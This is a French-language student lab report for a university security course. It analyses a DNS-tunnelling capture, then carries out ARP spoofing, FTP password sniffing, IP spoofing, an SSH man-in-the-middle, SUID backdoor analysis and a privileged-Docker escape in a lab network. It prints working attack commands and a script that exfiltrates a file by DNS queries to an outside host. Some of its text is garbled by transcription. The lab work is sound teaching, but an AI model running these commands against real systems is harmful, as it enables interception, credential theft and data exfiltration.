



**POLYTECHNIQUE
MONTRÉAL**

UNIVERSITÉ
D'INGÉNIERIE

Polytechnique Montréal

Département de génie informatique et génie logiciel

**Cours INF4420A
Sécurité Informatique**

A2022 - Travail Pratique 3 - Groupe 04

**Rendu par :
Aghilès Gasselin 2013772
Maximiliano Falicoff 2013658**

**Date:
Pour le 29 novembre 2022**

Analyse de traces réseaux

No.	Time	Source	Destination	Protocol	Length	Info
1	0.009990	10.22.1.11	93.184.216.34	DNS	329	Standard query 0xd35e A IyBSYwluYm93dGVjaCB0cmFkZSB1bmlvbiBpbmRlcm5hbcBub3RlcwoKRHVlIHRvIHVucGFpZCBvdWVydGltZSwgaW5zdWZmaWpZw5bI...
2	0.010210	93.184.216.34	10.22.1.11	DNS	317	Standard query response 0xd35e No such name A IyBSYwluYm93dGVjaCB0cmFkZSB1bmlvbiBpbmRlcm5hbcBub3RlcwoKRHVlIHRvIHVucGFpZCBvdWVydGltZSwgaW5zdWZmaWpZw5bI...
3	0.045255	10.22.1.11	93.184.216.34	DNS	329	Standard query 0x34df A aWtLI69uIDE4LzEYLgpJdCB3aWxsIGxhc3QgdW50aWwgb3VyIGdy aWV2YW5jZXMgYXJlIGFkZHIJlc3NlZC4gRm9yIGZ1cnRoZXIgcXVlc3Rpb24sIHBsZWJjZSBjb250YWNoIEFsaWNlIENoYW1wbGluIGFuZCBjb2IgVHVhYyY290dGUuIAoKLyFciERP...
4	0.048176	93.184.216.34	10.22.1.11	DNS	317	Standard query response 0x34df No such name A aWtLI69uIDE4LzEYLgpJdCB3aWxsIGxhc3QgdW50aWwgb3VyIGdy aWV2YW5jZXMgYXJlIGFkZHIJlc3NlZC4gRm9yIGZ1cnRoZXIgcXVlc3Rpb24sIHBsZWJjZSBjb250YWNoIEFsaWNlIENoYW1wbGluIGFuZCBjb2IgVHVhYyY290dGUuIAoKLyFciERP...
5	0.072262	10.22.1.11	93.184.216.34	DNS	127	Standard query 0xbfad A RSBUSEVNIIVORU5DUllQVEVEIC8hXAO-.secret.txt OPT
6	0.075955	93.184.216.34	10.22.1.11	DNS	115	Standard query response 0xbfad No such name A RSBUSEVNIIVORU5DUllQVEVEIC8hXAO-.secret.txt OPT

1)

L'adresse IP de la machine source est : 10.22.1.11. L'adresse ip de destination est : 93.184.216.34. Le protocole est DNS.

Or paste/drop base64 data here

```
IyBSYwluYm93dGVjaCB0cmFkZSB1bmlvbiBpbmRlcm5hbcBub3RlcwoKRHVlIHRvIHVucGFpZCBvdWVydGltZSwgaW5zdWZmaWpZw5bI...
ZSBwb29yIHdvcmsgY29uZGl0aW9ucywgdGhlIGVtcGxveWVlcYBvZiBSYwluYm93dGVjaCB3aWxsIGdvIG9uaWtLIIG9uIDE4LzEYLgpJdCB3aWxsIGxhc3QgdW50aWwgb3VyIGdy
aWV2YW5jZXMgYXJlIGFkZHIJlc3NlZC4gRm9yIGZ1cnRoZXIgcXVlc3Rpb24sIHBsZWJjZSBjb250YWNoIEFsaWNlIENoYW1wbGluIGFuZCBjb2IgVHVhYyY290dGUuIAoKLyFciERP
IE5PVCBTSEFSRSBUSE9TRSOT1RFUyBPRSBUSEVNIIVORU5DUllQVEVEIC8hXAO
```

Output type

Text string Image file Hex Binary

Character encoding

ASCII/UTF-8



Decode



Reset



Swap

Text string output

Rainbowtech trade union internal notes

Due to unpaid overtime, insufficient access to healthcare and poor work conditions, the employees of Rainbowtech will go on strike on 18/12. It will last until our grievances are addressed. For further question, please contact Alice Champlin and Bob Turcotte.

!! DO NOT SHARE THOSE NOTES OR THEM UNENCRYPTED !!

2)

Des données étant contenues dans le fichier secret.txt ont été infiltrées. On peut voir si on décode les requêtes que l'on a la phrase "# Rainbowtech trade union internal notes

Due to unpaid overtime, insufficient access to healthcare and poor work conditions, the employees of Rainbowtech will go on strike on 18/12.

It will last until our grievances are addressed. For further question, please contact Alice Champlin and Bob Turcotte.

/!\ DO NOT SHARE THOSE NOTES OR THEM UNENCRYPTED /!\.

- 3) Les paquets dns sont nécessaires à la communication client-server. Or dans les paquets dns envoyé dans ce cas là, le nom de domaine est valide mais de l'information malicieuse en plus a été envoyé sauf que le firewall ne check pas le reste d'information malicieuse et donc laisse passer la requête c'est du dns tunnelling.

Reconnaissance

Empoisonnement ARP

- 1) On veut ici intercepter les paquets entre la machine de Alice et le Routeur. En soit on va envoyer des fausses réponses ARP en disant que notre machine est a celle a qui il faut envoyer les paquets avec notre adresse mac comme destination. Dû à nos faux paquets, les clients et le Routeur vont mettre à jour leurs tables ARP locales avec notre adresse mac.

```
(root@kali)~# arpspoof -i eth0 -t 10.22.0.11 10.22.0.254
2:42:a:16:0:c 82:b:75:6c:2c:1e 0806 42: arp reply 10.22.0.254 is-at 2:42:a:16:0:c
2:42:a:16:0:c 82:b:75:6c:2c:1e 0806 42: arp reply 10.22.0.254 is-at 2:42:a:16:0:c
2:42:a:16:0:c 82:b:75:6c:2c:1e 0806 42: arp reply 10.22.0.254 is-at 2:42:a:16:0:c
2:42:a:16:0:c 82:b:75:6c:2c:1e 0806 42: arp reply 10.22.0.254 is-at 2:42:a:16:0:c
```

```
(root@kali)~# arpspoof -i eth0 -t 10.22.0.254 10.22.0.11
2:42:a:16:0:c 2:42:a:16:0:fe 0806 42: arp reply 10.22.0.11 is-at 2:42:a:16:0:c
2:42:a:16:0:c 2:42:a:16:0:fe 0806 42: arp reply 10.22.0.11 is-at 2:42:a:16:0:c
2:42:a:16:0:c 2:42:a:16:0:fe 0806 42: arp reply 10.22.0.11 is-at 2:42:a:16:0:c
```

- 2) On réalise une capture avec tcpdump sur la communication d'Alice.

```
(root@kali)~# tcpdump -i eth0 -w test.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
```

- 3) On observe principalement des paquets utilisant le protocole FTP, SSH etc ICMP. On observe que Alice parle principalement à une seule machine, une machine possédant l'adresse 10.11.1.11.

170	17.053466	10.22.0.11	10.22.1.11	FTP	72 Request: SYST
178	17.053801	10.22.0.11	10.22.1.11	FTP	78 Request: USER alice
186	17.053879	10.22.0.11	10.22.1.11	FTP	86 Request: PASS A1!c3P4\$\$w0rD
194	17.060964	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
208	17.061437	10.22.0.11	10.22.1.11	FTP	99 Request: RETR OWASP_Testing_Guide_v4.pdf
508	17.079898	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
522	17.080474	10.22.0.11	10.22.1.11	FTP	91 Request: STOR backups/ssh_config
544	17.081100	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
556	17.081353	10.22.0.11	10.22.1.11	FTP	87 Request: STOR backups/bashrc
576	17.081822	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
588	17.082153	10.22.0.11	10.22.1.11	FTP	89 Request: STOR backups/vconsole
608	17.082551	10.22.0.11	10.22.1.11	FTP	72 Request: QUIT
766	31.141044	10.22.0.11	10.22.1.11	FTP	72 Request: SYST
774	31.141176	10.22.0.11	10.22.1.11	FTP	78 Request: USER alice
782	31.141245	10.22.0.11	10.22.1.11	FTP	86 Request: PASS A1!c3P4\$\$w0rD
790	31.146410	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
804	31.146629	10.22.0.11	10.22.1.11	FTP	99 Request: RETR OWASP_Testing_Guide_v4.pdf
1448	31.163372	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
1460	31.163576	10.22.0.11	10.22.1.11	FTP	91 Request: STOR backups/ssh_config
1480	31.164284	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
1492	31.164498	10.22.0.11	10.22.1.11	FTP	87 Request: STOR backups/bashrc
1512	31.164879	10.22.0.11	10.22.1.11	FTP	72 Request: PASV
1524	31.165182	10.22.0.11	10.22.1.11	FTP	89 Request: STOR backups/vconsole
1544	31.165603	10.22.0.11	10.22.1.11	FTP	72 Request: QUIT
1728	47.344824	10.22.0.11	10.22.1.11	FTP	72 Request: SYST

- 4) On peut voir dans les paquets, le nom d'utilisateur alice et le mot de passe: A1!c3P4\$\$w0rD. On ne peut pas se connecter au serveur. Cela est sans doute dû au fait qu'il y a un firewall permettant seulement d'accepter la connexion provenant de la machine d'Alice à savoir 10.22.0.11.

```
(root@kali) - [~]
# ftp
ftp> open 10.22.1.11
ftp: Can't connect to `10.22.1.11:21': Connection timed out
ftp: Can't connect to `10.22.1.11:ftp'
ftp> 
```

Usurpation d'adresse IP

1. Comme vu dans WireShark, l'IP de la machine de Alice est 10.22.0.11
2. On doit noter que l'attaque ARP spoofing doit être maintenue en arrière plan pour que cela fonctionne. On veut usurper l'adresse IP de alice, pour réaliser cela on peut automatiquement changer l'adresse source de nos paquets sortant avec celle de la machine de Alice en mettant une règles pour notre firewall spécifiant que les paquets sortants seront modifiés pour avoir une source de 10.22.0.11.

La raison pour laquelle on doit garder l'attaque ARP spoofing est que si on envoie un paquet avec la source d'une machine qui n'est pas la nôtre, le serveur va répondre à la machine source et pas la nôtre, car on a pas effectivement changé l'IP de votre machine. Donc si on maintient l'attaque, les paquets devront passer par notre machine de toute façon, donc on reçoit bien la réponse de la machine sur notre machine maintenant.

```
(root@kali)-[~]
# sudo iptables -t nat -A POSTROUTING -p all -j SNAT --to-source 10.22.0.11

(root@kali)-[~]
# ftp 10.22.1.11
Connected to 10.22.1.11.
220 (vsFTPD 3.0.5)
Name (10.22.1.11:root): alice
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||11136|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 2181741 Nov 01 22:29 OWASP_Testing_Guide_v4.pdf
-rw-rw-r-- 1 1000 1000 235 Nov 02 01:18 TODO.md
drwxrwxr-x 1 1000 1000 54 Nov 22 15:19 backups
-rw-rw-r-- 1 1000 1000 55829 Oct 27 21:24 jalapeno.jpg
-rw-rw-r-- 1 1000 1000 29 Nov 04 22:30 password.txt
-rw-rw-r-- 1 1000 1000 365 Nov 04 18:46 secret.txt
226 Directory send OK.
ftp> _
```

```
(root@kali)-[~]
# cat password.txt
Code of the front door: 0794
```

On observe que le mot de passe est 0794.

3. La raison pour laquelle on ne pouvait pas se connecter était dû au fait qu'il y a un firewall permettant seulement d'accepter la connexion provenant de la machine de Alice à savoir 10.22.0.11.

Machine in the Middle

1. On veut récupérer le fichier `authorized_keys` dans le folder `.ssh` du serveur ftp auquel se connecte Alice

```

ftp> cd .ssh
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||19435|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 92 Nov 03 19:39 authorized_keys
226 Directory send OK.
ftp> ls -a
229 Entering Extended Passive Mode (|||62509|)
150 Here comes the directory listing.
drwxrwxr-x 2 1000 1000 29 Nov 03 19:39 .
drwxr-x--- 1 1000 1000 35 Nov 22 15:19 ..
-rw-rw-r-- 1 1000 1000 92 Nov 03 19:39 authorized_keys
226 Directory send OK.
ftp> get authorized_keys
Local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||40170|)
150 Opening BINARY mode data connection for authorized_keys (92 bytes).
100% |*****| 92 3.81 MiB/s 00:00 ETA
226 Transfer complete.
92 bytes received in 00:00 (531.61 KiB/s)
ftp>

```

```

(root@kali)~# cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPtqrzfIH8C37CjCd2TSdy46ApUAMAt5E9P1xnngL/c4 root@alice

```

2. Vu que le serveur FTP nous permet de récupérer et mettre des fichiers à distance, on peut modifier le authorized keys avec une clé ssh de notre machine et overwrite sur le serveur. A ce fait nous pourrions nous connecter par la suite sur le serveur avec une connexion ssh.

```

root@kali: ~
[ -b bind_address ] [ -c cipher_spec ] [ -D [bind_address]:port ]
[ -E log_file ] [ -e escape_char ] [ -F configfile ] [ -I pkcs11 ]
[ -i identity_file ] [ -J [user@]host[:port] ] [ -L address ]
[ -l login_name ] [ -m mac_spec ] [ -O ctl_cmd ] [ -o option ] [ -p port ]
[ -Q query_option ] [ -R address ] [ -S ctl_path ] [ -W host:port ]
[ -w local_tun[:remote_tun] ] destination [command [argument ...]]
-p: command not found

root@kali)~# ssh -p 42625 localhost
ssh: connect to host localhost port 42625: Cannot assign requested address

root@kali)~# ssh -p 42625 127.0.0.1
ssh: connect to host 127.0.0.1 port 42625: Connection refused

root@kali)~# ssh -p 44555 127.0.0.1
The authenticity of host '[127.0.0.1]:44555 ([127.0.0.1]:44555)' can't be established.
RSA key fingerprint is SHA256:tlknGLhzeQj9mLU+EqxcvIQkPiU6LxquH3oergyX3qs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:44555' (RSA) to the list of known hosts.
ls
OWASP_Testing_Guide_v4.pdf backups password.txt
TODO.md jalapeno.jpg secret.txt
alice@server:~$ ls
OWASP_Testing_Guide_v4.pdf backups password.txt
TODO.md jalapeno.jpg secret.txt
alice@server:~$

```

```

SSH-MITM - ssh audits made simple
11/29/22 15:00:40 INFO Remote auth-methods: ['publickey']
11/29/22 15:00:40 INFO i bf4b0e08-cd08-4695-97c1-ddb2fb0d4e34 - local port forwarding
SOCKS port: 42951
SOCKS4:
* socat: socat TCP-LISTEN:LISTEN_PORT,fork socks4:1
7.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socksport=42951
* netcat: nc -X 4 -x localhost:42951 address
port
SOCKS5:
* netcat: nc -X 5 -x localhost:42951 address
port
11/29/22 15:00:59 INFO Remote authentication succeeded
Remote Address: 10.22.1.11:22
Username: alice
Remote-Publickey: ssh-ed25519
SHA256:RBwFv3Vf+M3WojT8MPLvGwhLzoZreXSnV+2HRDXOAsU 256bits
Agent: available keys: 1
Agent-Key: ssh-ed25519
SHA256:RBwFv3Vf+M3WojT8MPLvGwhLzoZreXSnV+2HRDXOAsU 256bits, can
sign: False
11/29/22 15:00:59 INFO i bf4b0e08-cd08-4695-97c1-ddb2fb0d4e34 - session
started
11/29/22 15:00:59 INFO i created mirroring on port 44555. connect with: ssh
-p 44555 127.0.0.1
11/29/22 15:00:59 INFO i session 0f940da4-667c-4078-8724-96c38a5c5f58
created
11/29/22 15:00:59 INFO i connected client version: SSH-2.0-OpenSSH_8.8
11/29/22 15:00:59 INFO ^ client affected by CVEs:
* CVE-2020-14145: https://docs.ssh.mitm.at/CVE-2020-14145.html

```

- 3.

En ayant toujours le arp spoofing d'activer afin de recevoir les paquets qu'envoie et reçoit alicé on peut avec l'outil ssh-mitm effectuer la commande : `ssh-mitm server --remote-host 10.22.1.11`. Cette commande effectue l'attaque avec un paramètre l'adresse ip du serveur que l'on veut attaquer. Il faut aussi au préalable avoir effectué la commande : `ssh-mitm server --remote-host 10.22.1.11` permettant de rediriger les connexions qui arrivent sur le port 22 de la machine sur le port 10022 utilisé par ssh-mitm. On peut ensuite se connecter au shell miroir que crée ssh-mitm (dans ce cas sur l'adresse 127.0.0.1:44555) pour avoir accès au shell du serveur et à partir de là nous avons le serveur sous notre contrôle.

Investigation numérique

1. On crée une clé SSH puis on l'ajoute au fichier `authorized_keys` puis on la met sur le serveur.

```
(root@kali)-[~]
# cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPtqrzfIH8C37CjCd2TSdy46ApUAMAt5E9P1xnngL/c4 root@alice
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILygS1/ZYNawsjAtw7mpNVgdNpUtN7TUQbsHEmEd00Bm root@kali

(root@kali)-[~]
# ssh alice@10.22.1.11
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.17.5-300.fc36.x86_64 x86_64)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Nov 22 18:18:44 2022 from 10.22.1.254
alice@server:~$ _
```

2. On réussit maintenant à se connecter au serveur SSH en tant que Alice. On veut chercher le backdoor qu'on laisse aux attaquants. On a un indice que le backdoor en question utilise une attaque de privilege escalation en utilisant un SUID file. Un SUID file est un fichier qui a une permission spéciale en ajoutant 41 dans la commande `chmod`. On peut retrouver tous les fichiers avec cette permission puis on observe un fichier backdoor se trouvant dans `/usr/local/bin/.backdoor`.

```

alice@server:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/local/bin/.backdoor
alice@server:~$ _

```

3. On ouvre le fichier avec r2 en mode visuel, on peut voir la fonction main

```

;-- main:
0x00401146 55          push rbp
0x00401147 4889e5      mov rbp, rsp
0x0040114a bf00000000  mov edi, 0
0x0040114f e8ecfeffff  call sym.imp.setuid      ;[2]
0x00401154 bf00000000  mov edi, 0
0x00401159 e8d2feffff  call sym.imp.setgid      ;[3]
0x0040115e ba00000000  mov edx, 0
0x00401163 be10204000  mov esi, str.bash        ; 0x402010 ; "bash"
0x00401168 bf15204000  mov edi, str._bin_bash   ; 0x402015 ; "/bin/bash"
0x0040116d b800000000  mov eax, 0
0x00401172 e8d9feffff  call sym.imp.execl       ;[4]
0x00401177 90          nop
0x00401178 5d          pop rbp
0x00401179 c3          ret
0x0040117a 0000       add byte [rax], al

```

On observe que l'exécutable va premièrement appeler la fonction setuid

```

;-- setuid:
0x00401040 ff25da2f0000 jmp qword [reloc.setuid] ; [0x404020:8]=0x401046 ; "F\x10@"
0x00401046 6801000000  push 1                  ; 1
0x0040104b e9d0ffffff  jmp section..plt

```

Cette fonction va setter le uid

Dans main, on va ensuite mettre le path de l'exécutable du bash

Dans main on va ensuite exécuter le programme bash mais vu que le uid bit est set, il va être exécuté en tant que root.


```

alice@server:/usr/local/bin$ ./backdoor
root@server:/usr/local/bin# cat steal_secret
#!/bin/bash
cd /home/alice
f=secret.txt; s=4;b=57;c=0; for r in $(for i in $(base64 -w0 $f| sed "s/.\{5b\}/&\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$((c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @93.184.216.34 `echo -ne $r$fi`tr "+" ""` +short +noidnin +noidnout; done
root@server:/usr/local/bin#

```

4. En exécutant le script steal secret, on peut voir que le script va faire un dns lookup query en envoyant le message secret.txt code en base 64 au serveur 93.184.216.34

```

root@server:/usr/local/bin# ./steal_secret
; <<>> DiG 9.18.1-1ubuntu1.2-Ubuntu <<>> @93.184.216.34 IyBSYwLuYm93dGVjaCB0cmFkZSB1bmVbiBpbmRlcm5hbCBub3RlcwoKR-.HVLIHRvIHVucGFpZCBv
dmVydGltZSwgaW5zdWZmaWNpZW50IGFjY2Vzcy-.B0byBoZWZsdGhjaXJlIGFuZCBwb29yIHdvcmsgY29uZG10aW9ucywgZGh-.LIGVtcGxveWVlcYBvZiBSYwLuYm93dGVjaC
B3aWxsIGdvIG9uIGEgc3Ry-.secret.txt +short +noidnin +noidnout
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

```

Cela nous fait revenir à la première partie où l'administrateur a capté ces connexions suspectes.

Attaque de l'infrastructure docker

En utilisant le programme steghide et le mot de passe d'Alice A1!c3P4\$\$w0rD nous arrivons au fichier de configuration docker.

```

miameme@miameme in ~ via ♦ v3.10.8 took 1ms
λ steghide extract -sf Downloads/jalapeno.jpg
Enter passphrase:
wrote extracted data to "secret.txt".

```

La partie qui nous intéresse dans ce fichier est la suivante :

```
File: secret.txt
1  services:
2    kali:
3      container_name: kali
4      hostname: kali
5      image: kali
6      build: ./kali
7      privileged: true
8      environment:
9        - GW=10.22.0.254
10     cap_add:
11       - NET_ADMIN
12     networks:
13       lan:
14         ipv4_address: 10.22.0.12
15
```

On peut voir que pour la machine kali nous avons la variable privileged qui est à true. Cela signifie que la machine a les mêmes droits que le host et a les droits sur le host. On peut donc avoir accès au contenu du host.

En observant les systèmes de fichiers disponibles on observe un sda1 et sda2.

```
(root@kali) - [/dev]
# lsblk
NAME        MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sda          8:0    0   40G  0 disk
|-sda1       8:1    0    1G  0 part /mnt/hola
`-sda2       8:2    0   39G  0 part
zram0       252:0    0   3.8G  0 disk [SWAP]
```

En montant sda1 on se rend compte que c'est le système de fichier de boot de notre machine host :

```
(root@kali) - [/mnt/hola]
# ls
System.map-5.17.5-300.fc36.x86_64
config-5.17.5-300.fc36.x86_64
efi
grub2
initramfs-0-rescue-c5415cb0306249e892d72d158ae519a6.img
initramfs-5.17.5-300.fc36.x86_64.img
loader
symvers-5.17.5-300.fc36.x86_64.gz
vmlinuz-0-rescue-c5415cb0306249e892d72d158ae519a6
vmlinuz-5.17.5-300.fc36.x86_64
```

On peut donc deviner que ce qui nous intéresse serait dans la partie sda2. Cependant nous n'avons pas réussi à lire cette partition.